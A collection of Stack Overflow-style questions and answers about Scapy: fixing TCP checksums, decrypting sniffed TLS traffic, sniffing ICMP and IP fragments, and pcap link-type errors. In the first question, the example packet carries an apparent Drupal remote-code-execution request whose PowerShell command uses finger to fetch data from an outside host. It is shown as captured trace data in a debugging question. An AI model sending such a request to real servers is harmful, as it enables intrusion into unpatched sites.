I've been changing content of packets, and setting the tcp.chksum back to None at the end of it. The checksum is recalculated as expected, but when (pcacap) loaded into Wireshark, the checksum is marked as incorrect.
This is my packet (will call it for now tcp)-
b"\\xfcI\\x00PZ0\\xc32\\x14\'_\\xf8P\\x18\\x01\\xf6r\\xeb\\x00\\x00POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\\r\\nHost: 240.170.0.2\\r\\nConnection: keep-alive\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept: */*\\r\\nUser-Agent: python-requests/2.18.1\\r\\nContent-Length: 201\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\n\\r\\nmail%5B%23markup%5D=powershell+%22finger+l%40240.0.0.3++++%7C+select+-Skip+2+%7Ctee+archivo.b64%22&mail%5B%23type%5D=markup&form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec"
Afterwards I do
tcp.setfieldval('chksum', None)
tcp.show2()
which gives me the following
###[ TCP ]###
sport = 64585
dport = http
seq = 1513145138
ack = 338124792
dataofs = 5
reserved = 0
flags = PA
window = 502
chksum = 0x72eb
urgptr = 0
options = []
###[ Raw ]###
load = 'POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\r\nHost: 240.170.0.2\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: python-requests/2.18.1\r\nContent-Length: 201\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nmail%5B%23markup%5D=powershell+%22finger+l%40240.0.0.3++++%7C+select+-Skip+2+%7Ctee+archivo.b64%22&mail%5B%23type%5D=markup&form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec'
Once written out to a file (the whole pcap, using wrpcap), Wireshark marks it as incorrect and suggests the correct checksum is 0x72ef.
Can anyone identify if this is a bug or if there is a solution to this?
Note: The checksum recalculation works correctly on majority of the packets i tried, this is just one of the few on which it failed.
Edit 1: As per request, the whole packet
b"\\xfa\\x16>\\xaa\\x00\\x00\\xfa\\x16>\\x00\\x00\\x00\\x08\\x00E\\x00\\x02%.\\xc6#\\x006\\x063^\\xf0\\x00\\x00\\x02\\xf0\\xaa\\x00\\x02\\xfcI\\x00PZ0\\xc32\\x14\'_\\xf8P\\x18\\x01\\xf6`\\xd8\\x00\\x00POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\\r\\nHost: 240.170.0.2\\r\\nConnection: keep-alive\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept: */*\\r\\nUser-Agent: python-requests/2.18.1\\r\\nContent-Length: 201\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\n\\r\\nmail%5B%23markup%5D=powershell+%22finger+l%40240.0.0.3++++%7C+select+-Skip+2+%7Ctee+archivo.b64%22&mail%5B%23type%5D=markup&form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec"
Edit 2:
As requested, you can find the source code here (marked the specific function): https://github.com/Trace-Share/Trace-Manipulation/blob/04d6a6ca09a111065a9218b2818993a5b6db3b5a/TMLib/transf/PacketProcessing.py#L904-L915
Note: It should be equivalent to calling
tcp.setfieldval('load', tcp.getfieldval('load').replace(b'255.255.255.255', b'240.170.0.2))
Related
I am trying to capture https traffic with scapy. So far I can see the TLS handshakes, but I am having trouble decoding the application data using a NSS keyfile. I'm using scapy 2.5.0rc2.dev39.
The structure of my script is: (1) set up the conf to point to the NSS file that will be created; (2) kick off a thread to get the sniff going; and then (3) do a https request on the main thread that generates the traffic that gets sniffed on the other thread.
I suspect my problem is a chicken-and-egg problem: I'm giving scapy the name of a file that doesn't exist yet and asking sniff to use it to decode traffic. But to generate the file, I need to generate traffic. But then it is too late to set up the sniff. And so on.
I'm basing the setup on the conf file on the code example in https://github.com/secdev/scapy/pull/3374. Is there a way to get the NSS file parsed and applied after the packets are sniffed? (Note: I have looked at https://github.com/secdev/scapy/blob/master/doc/notebooks/tls/notebook3_tls_compromised.ipynb, but that example applies the NSS file to a captured pcap file. I don't see how to apply that to my scenario. Unless I export the sniffed packets to a pcap file and then apply the now-existent NSS file to it?)
Here's my code:
from scapy.all import *
from time import sleep
from IPython import embed
myiface = 'lo'
mycount = 30
response_time_delta = 0.0
NSS_SECRETS_LOG = "secrets.log"
SERVER_HOST = "127.0.0.1"
SERVER_PORT = 8443
def analyze_https_sniffed_traffic():
# sniff traffic for mycount packets
myfilter = ""
myprn = lambda x:x.summary()
sniff_out = sniff(filter=myfilter,prn=myprn,count=mycount,iface=myiface)
# iterate through the sniffed packets to report on contents
for idx,s in enumerate(sniff_out):
print("===\npacket %d\n%s" % (idx,s.summary()))
# if we can convert to a TLS packet, print out TLS summary
if s.haslayer('IP') and hasattr(s,'load'):
tls_r = TLS(s.load)
print(tls_r.summary())
# if this is TLS application data, do a complete show
if tls_r.type == 23:
print(tls_r.show())
#embed()
return
def send_https_request_and_analyze():
import http.client, ssl
# start another thread that sniffs traffic and analyzes their contents
t = threading.Thread(target=analyze_https_sniffed_traffic)
t.start()
# use python requests to make a HTTPS query to a local server
# put SSLKEYLOGFILE into the environment so I can decode captured TLS traffic
import os; os.environ["SSLKEYLOGFILE"] = NSS_SECRETS_LOG
time.sleep(3)
# unverified context: using self signed cert, make requests happy
conn = http.client.HTTPSConnection(SERVER_HOST, SERVER_PORT, context=ssl._create_unverified_context())
conn.request('GET', '/')
r = conn.getresponse()
print("response: %s" % r.read())
# wait for the sniff thread to finish up
t.join()
load_layer("tls")
# conf commands from https://github.com/secdev/scapy/pull/3374
conf.tls_session_enable = True
conf.tls_nss_filename = NSS_SECRETS_LOG
print("scapy version: %s" % scapy.__version__)
print("conf contents:\n%s" % conf)
send_https_request_and_analyze()
Here's what I get back for the first application data packet:
===
packet 22
Ether / IP / TCP 127.0.0.1:46066 > 127.0.0.1:8443 PA / Raw
TLS None:None > None:None / TLS / TLS Application Data
###[ TLS ]###
type = application_data
version = TLS 1.2
len = 91 [deciphered_len= 91]
iv = b''
\msg \
|###[ TLS Application Data ]###
| data = '\\xce\\xd2:\\x87\\xd0\\ h\x7f\\x81C\\xbd\x1af\\xd6y\\x91\x07wnn\\xca!ji3\\xb2\\xbbT\t\\xfc\\x80F#\\x88\x13<\\x83\\xa4\x08p\\x96\\xfb\\xf7\\x875u\\xfa\\xb9\x11\\x97M\\xf9\\xf5\\xb0\\x8fR\\x8c\ue650sI/ɇop\x1d\\xe2\n\\x91"\\x80\\x91la"d\\xe5\\xa0yk\\xc2\\xfa\\xe2A\\x8d\\x8dKB'
mac = b''
pad = b''
padlen = None
None
Any ideas on how I can make this work?
PS: Shout out to the devs. Scapy is amazing.
EDIT: I tried to get a write to pcap, set the NSS file in the conf, read the pcap approach, but ran into the same problem. I think I'm running into https://github.com/secdev/scapy/issues/3722.
EDIT #2: I went through the same steps decoding the raw data in https://github.com/secdev/scapy/blob/master/doc/notebooks/tls/notebook3_tls_compromised.ipynb in the section "Decrypt a PCAP file" and it worked fine. When I compared the wireshark output for the notebook's pcap file and the one I wrote with wrpcap, I see duplicate packets. It's my PCAP file that is breaking the decrypt, I think. I'm out of time today, but I will try something along the lines of Scapy: Processing partial TLS segments and report back.
I see I didn't update this with my eventual solution. In one thread I kicked off the HTTPS request and generated the NSS key files; in another thread I sniffed the traffic, then afterwards I iterated through the packetlist, updating the session with the NSS keys and mirroring the session as needed, as described in the "Decrypting Manually" section of the Scapy TLS documentation here: https://github.com/secdev/scapy/blob/master/doc/notebooks/tls/notebook3_tls_compromised.ipynb.
Example code here: https://github.com/PollyP/scapy_tls_example
I am trying to use scapy to send and receive packets to discover the network path. I would like to modify the packet details when it reaches a certain hop due to tunnels. For some reason, sniff is not matching on ICMP packets received. TCPDUMP on the clone session shows the ICMP packet was received on the sniff interface.
while lasthop:
outer_ttl = outer_ttl + 1
inner = IP(src=sw3, dst=sw3, flags="DF", ttl=inner_ttl, id=id) / UDP(sport=37631, dport=33435)
outer = IP(src=sw1, dst=sw2, flags="DF", ttl=outer_ttl, id=id) / GRE() / inner
if sniff(iface="ens1", count=1, filter="icmp and icmp[0]=11 and src host 10.1.1.1", prn=send(outer), timeout=1):
inner_ttl = 2
send(outer)
lasthop = 0
I tried sniff from the scapy console. Its the same problem. But interestingly it matches if i run traceroute for a clone session.
I tried to simplify my problem with the following setup.
A simple netcat UDP listener on Port 1337 on my local interface (192.168.183.130)
A simple netcat UDP client connecting to the listener on port 1337 (from 192.168.183.128)
A very basic scapy sniffer running on 192.168.183.130
Scapy sniffer running with root privileges:
from scapy.all import sniff, IP, UDP
def print_package(packet):
packet.show()
sniff(filter="ip dst host 192.168.183.130 and dst port 1337", iface="ens33", prn=print_package)
Sending IP packets / UDP frames with the 1500 Bytes MTU limit works like a charm and the packets are printed to std-out as expected. As soon as I succeed the limit and the IP protocol creates fragments, the sniffer only catches the first packet (correct flags, len etc.)
In the following example I sent a simple string 'next message will be 3200 * "A"' from the nc client to the listener before sending 3200 * "A" with netcat. The packet gets fragmented into three IP packets and correctly reassembled by the stack, before the UDP socket netcat is using receives it, so everything works as i would expect it network-wise. Scapy only sniffs the first of the three packets and I do not understand why this happens.
The screenshot shows the expected/correct handling of the text message and the three IP fragments in wireshark:
The following snippet shows the scapy output to stdout:
sudo python3 scapy_test.py
###[ Ethernet ]###
dst = 00:0c:29:fa:93:72
src = 00:0c:29:15:2a:11
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 59
id = 18075
flags = DF
frag = 0
ttl = 64
proto = udp
chksum = 0x3c3
src = 192.168.183.128
dst = 192.168.183.130
\options \
###[ UDP ]###
sport = 59833
dport = 1337
len = 39
chksum = 0xdaa0
###[ Raw ]###
load = 'next message will be 3200 * "A"\n'
###[ Ethernet ]###
dst = 00:0c:29:fa:93:72
src = 00:0c:29:15:2a:11
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 1500
id = 20389
flags = MF
frag = 0
ttl = 64
proto = udp
chksum = 0x1518
src = 192.168.183.128
dst = 192.168.183.130
\options \
###[ UDP ]###
sport = 59833
dport = 1337
len = 3209
chksum = 0x25bd
###[ Raw ]###
load = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
Why are the other IP fragments missing and how can I sniff them?
I know about the session parameter in sniff but did I not have any luck with actually reassembling the packets with session=IPSession. (This is not what I want to achieve anyway, for my application I want to sniff all fragments, change parts of them and forward them to another address/socket.)
I finally figured this out myself, so I am gonna leave an answer:
The problem lies in the filter of the sniffer:
sniff(filter="ip dst host 192.168.183.130 and dst port 1337", iface="ens33", prn=print_package)
IP fragments after the first do not have a UDP part and therefore do not have a destination port, therefore the scapy filter does not catch them. To work around this problem I extended the filter to catch dst port 1337 or Fragments with an offset. I stumbled across this cheatsheet https://github.com/SergK/cheatsheat-tcpdump/blob/master/tcpdump_advanced_filters.txt, that offers a valid berkeley syntax for this problem and ended up with this filter (for the simplified problem).
sniff(filter="ip dst host 192.168.183.130 and ((src port 1337) or (((ip[6:2] > 0) or (ip[7] > 0)) and (not ip[6] = 64))", iface="ens33", prn=print_package)
This checks if the fragment offset of the packet is >0 (anything after the first three bit of the sixth byte (flags) or the seventh byte are >0) and if the "don't fragment" bit is not set. If this is true, it is an IP fragment and the sniffer shall sniff it.
Here is a simple exmaple:
from scapy.all import *
pkts = rdpcap('/tmp/sample.pcap')
wireshark(pkts)
Then wireshark gives this error:
The capture file appears to be damaged or corrupt.
(libpcap: IrDA capture has a packet with an invalid sll_protocol field)
I am using wireshark 1.8, python 2.7.3 and scapy 2.2.0.
NOTE: I can open the smaple.pcap file using wireshark directly.
What can I do to make scapy-generated pcap files to open in wireshark?
EDIT:
I tried other pcap files (from wireshark capture samples) and it worked. It seems the problem is in my packets. Here is the first packet (which don't work also):
###[ cooked linux ]###
pkttype = unicast
lladdrtype= 0x1
lladdrlen = 6
src = '\x00\x04\xed\xcb\x9b0'
proto = 0x800
###[ IP ]###
version = 4L
ihl = 5L
tos = 0xb8
len = 165
id = 47433
flags =
frag = 0L
ttl = 49
proto = udp
chksum = 0x50c9
src = 22.31.32.55
dst = 192.168.1.102
\options \
###[ UDP ]###
sport = 4566
dport = 4566
len = 145
chksum = 0x0
###[ Raw ]###
load = 'H\x84\x80\x80\x80\x80\x80\x8c\x80\x80\x86\x81\x8b\x82\x80\x82\x81\x98\xb1\xb9\xb2\xae\xb1\xb6\xb8\xae\xb1\xae\xb2\xb5\xad\xb0\xb1\xb2\xb2\xb6\xb6\xb5\xb7\xb4\xb9\xb4\xad\x81\xca\x82\x89\xb9\xb9\xb5\xb0\xb6\xb1\xb0\xb3\xb3\xa6\x81\x80\xa7\x81\x80\xa8\x82\x80\x80\x84\x89\xb9\xb9\xb5\xb0\xb6\xb1\xb0\xb3\xb3\x8a\x82\xe5\xee\x86\x88\xe3\xe3\xec\xe9\xe5\xee\xf4\xb2\x89\x84\x80\x80\x81\x80\xb8\x89\x80\x80\x80\x80\x80\x80\x80\x81\x80\x88\x84\x80\x80\x81\x80\xb7\x89\x80\x80\x80\x80\x80\x80\x80\x81\x80\x8c\x82\x80\x82\x9f\x84\x9e\xa7 \xe2\xb6\x80'
Note: changed IP addresses so checksum might not be correct.
I have no idea what seems to be the problem, but it can be resolved in the following manner:
wireshark(pkt for pkt in pkts) # don't supply a list but rather a generator
This also outputs the following message:
WARNING: PcapWriter: unknown LL type for generator. Using type 1 (Ethernet)
Apparently, the wireshark function doesn't handle a Linux cooked-mode capture that well. This odd situation might have something to do with the following excerpt from scapy's wiki:
Please remember that Wireshark works with Layer 2 packets (usually called "frames"). So we had to add an Ether() header to our ICMP packets. Passing just IP packets (layer 3) to Wireshark will give strange results.
We can also circumvent this issue by creating a dummy Ethernet layer, if we don't really care about the layer 2 frame:
pkts = [Ether(src=pkt[0].src)/pkt[1:] for pkt in pkts]
EDIT - upon further research, and analyzing scapy's source code, I figured out why passing a generator object seems to solve this issue.
The wireshark function creates a temporary file containing the packets and launches Wireshark with that file. The link type to be specified in the header of that file is extracted in the following manner:
if self.linktype == None:
if type(pkt) is list or type(pkt) is tuple or isinstance(pkt,BasePacketList):
pkt = pkt[0]
try:
self.linktype = conf.l2types[pkt.__class__]
except KeyError:
warning("PcapWriter: unknown LL type for %s. Using type 1 (Ethernet)" % pkt.__class__.__name__)
self.linktype = 1
When passing a generator object, the first if statement evaluates to False (which is obviously a bug) and an exception is raised when attempting to access conf.l2types[pkt.__class__] since pkt.__class__ is <type 'generator'>. Therefore, the except clause of the try-except code block is executed and the link type is specified as 1.
However, when passing a real list, the first if statement evaluates to True and the first packet of the list is extracted and used to access conf.l2types, which is:
In [2]: conf.l2types
Out[2]:
0x1 <- Dot3 (802.3)
0x1 <-> Ether (Ethernet)
0xc -> IP (IP)
0x17 -> Ether (Ethernet)
0x1f <-> IPv6 (IPv6)
0x65 <-> IP (IP)
0x69 <-> Dot11 (802.11)
0x71 -> CookedLinux (cooked linux)
0x77 <-> PrismHeader (Prism header)
0x7f <-> RadioTap (RadioTap dummy)
0x90 <-> CookedLinux (cooked linux)
0xc0 <-> PPI (Per-Packet Information header (partial))
0x304 -> Ether (Ethernet)
0x321 -> Dot11 (802.11)
0x322 -> PrismHeader (Prism header)
0x323 -> RadioTap (RadioTap dummy)
Since pkts[0].__class__ is scapy.layers.l2.CookedLinux, the link type is set to 0x90 rather than to 0x71 (seems like yet another bug), which results in Wireshark failing to parse the file.
Therefore, I think that the best approach would be to copycat scapy's wireshark function, with the subtle change of allowing the user to explicitly specify the link type:
def wireshark(*args, **kwargs):
"""Run wireshark on a list of packets"""
f = scapy.all.get_temp_file()
scapy.all.wrpcap(f, *args, **kwargs)
subprocess.Popen([scapy.all.conf.prog.wireshark, "-r", f])
wireshark(pkts, linktype=0x71)
EDIT - I've now noticed that the link type mapping issue was already reported and fixed by secdev. However, it hasn't reached python-scapy just yet. I've also created a new issue on the invalid handling of a generator object in PcapWriter.
(libpcap: IrDA capture has a packet with an invalid sll_protocol field)
Linux IrDA uses something like the Linux cooked-mode header, but it's not the same:
Linux cooked-mode header, with a link-layer header type of 113;
Linux IrDA header, with a link-layer header type of 144.
I don't know what caused your program to choose 144 rather than 113; was your input file an Linux IrDA file rather than a Linux cooked capture file?
I was recently trying to write a Scapy script that performs a full TCP handshake. The idea was that I connect two Qemu VMs using -net socket userspace interface (which seems to handle raw IP/ethernet fine) and instruct machine B to block all input from A (to prevent it from sending the RSTs). Then, I used telnet to connect() from machine A to B and ran the following script on machine B:
#!/usr/bin/python
import scapy.all as scapy
filter = "port 31337"
iface = "eth0"
def prepare_response(t):
print("Received: %s" % repr(t))
t.src, t.dst = t.dst, t.src # swap ethernet addresses
ip = t.getlayer("IP")
ip.src, ip.dst = ip.dst, ip.src
t.dport, t.sport = t.sport, t.dport
t.ack = t.seq
t.ack += 1
syn = scapy.sniff(filter=filter, count=1, iface=iface)[0]
print(syn.sprintf('%TCP.flags%'))
syn_ack = syn
prepare_response(syn_ack)
syn_ack.getlayer("TCP").flags |= 0x10 # set the ACK flag
print(syn_ack.sprintf('%TCP.flags%'))
print("Sending: %s" % repr(syn_ack))
scapy.sendp(syn_ack, iface=iface, verbose=False)
ack = scapy.sniff(filter=filter, count=1, iface=iface)[0]
assert(ack.flags & 0x10)
The problem is that instead of receiving an ACK from A to B, I seem to get a SYN retransmission as if SYN+ACK wasn't interpreted correctly:
tcp on machine A confirms that SYN+ACK reached the machine:
05:47:03.925100 IP 10.0.0.1.39634 > debian.31337: Flags [S], seq 2426802888, win 14600, options [mss 1460,nop,nop,sackOK,nop,wscale 4], length 0
05:47:03.927515 IP debian.31337 > 10.0.0.1.39634: Flags [S.], seq 2426802888, ack 2426802889, win 14600, options [mss 1460,nop,nop,sackOK,nop,wscale 4], length 0
Here's the PCAP file from machine B's perspective in Base64 form:
1MOyoQIABAAAAAAAAAAAAP//AAABAAAAYlilUwieDgARAQAAEQEAAAEAXgAA+1JUABI0VggARQABA2UUQAD/ESrYCgAAAuAAAPsU6RTpAO/r/QAAAAAAAwAAAAUAAAE2ATUBNAEzATIBMQFlAWYBZgFmATABMAE0ATUBMAE1ATABMAEwATABMAEwATABMAEwATABMAEwATABOAFlAWYDaXA2BGFycGEAAP8AAQtkZWJpYW4tMTA5MwVsb2NhbAAA/wABATIBMAEwAjEwB2luLWFkZHLAUAD/AAHAWgANAAEAAAB4AAsESTY4NgVMSU5VWMBaAAEAAQAAAHgABAoAAALAcQAMAAEAAAB4AALAWsBaABwAAQAAAHgAEP6AAAAAAAAAUFQA//4SNFbADAAMAAEAAAB4AALAWmJYpVMJoA4AnAAAAJwAAAABAF4AAPtSVAASNFYIAEUAAI4GlEAA/xGJzgoAAAHgAAD7FOkU6QB6hFgAAIQAAAAAAQAAAAABNgE1ATQBMwEyATEBZQFmAWYBZgEwATABNAE1ATABNQEwATABMAEwATABMAEwATABMAEwATABMAEwATgBZQFmA2lwNgRhcnBhAAAMgAEAAAB4ABIKZGViaWFuLTQwNwVsb2NhbABnWKVTvIYIAEIAAABCAAAAUlQAEjRWUlQAEjRWCABFAAA0HdtAAEAGCOcKAAABCgAAAprbemmul/p8AAAAAIACOQhjsAAAAgQFtAEBBAIBAwMEZ1ilU5COCABCAAAAQgAAAFJUABI0VlJUABI0VggARQAANB3bQABABgjnCgAAAgoAAAF6aZrbrpf6fK6X+n2AEjkIY7AAAAIEBbQBAQQCAQMDBGhYpVPTfggAQgAAAEIAAABSVAASNFZSVAASNFYIAEUAADQd3EAAQAYI5goAAAEKAAACmtt6aa6X+nwAAAAAgAI5CGOwAAACBAW0AQEEAgEDAwRqWKVTrI4IAEIAAABCAAAAUlQAEjRWUlQAEjRWCABFAAA0Hd1AAEAGCOUKAAABCgAAAprbemmul/p8AAAAAIACOQhjsAAAAgQFtAEBBAIBAwME
And one from A to B's perspective:
1MOyoQIABAAAAAAAAAAAAP//AAABAAAAVVilU9NXCABCAAAAQgAAAFJUABI0VlJUABI0VggARQAANB3bQABABgjnCgAAAQoAAAKa23pprpf6fAAAAACAAjkIFCkAAAIEBbQBAQQCAQMDBFVYpVPIYAgAQgAAAEIAAABSVAASNFZSVAASNFYIAEUAADQd20AAQAYI5woAAAIKAAABemma266X+nyul/p9gBI5CGOwAAACBAW0AQEEAgEDAwRWWKVT008IAEIAAABCAAAAUlQAEjRWUlQAEjRWCABFAAA0HdxAAEAGCOYKAAABCgAAAprbemmul/p8AAAAAIACOQgUKQAAAgQFtAEBBAIBAwMEWFilU4FfCABCAAAAQgAAAFJUABI0VlJUABI0VggARQAANB3dQABABgjlCgAAAQoAAAKa23pprpf6fAAAAACAAjkIFCkAAAIEBbQBAQQCAQMDBA==
At first I thought that this is somehow related to some Linux TCP/IP quirk, so I experimented with turning off TCP timestamps and SYN cookies. I also tried increasing IP ID, which didn't help either. Both machines are running Debian 7.5 with linux-image-3.2.0-4-686-pae under qemu 1.6.2. What am I missing?
That's a checksum issue.
In the IP layer it happens to be OK since you're just swapping the source and destination addresses, but in the TCP layer the original checksum becomes wrong when you change the flags value.
The best option is to let Scapy compute the correct checksum value for you, by adding del(t[TCP].chksum) in prepare_response().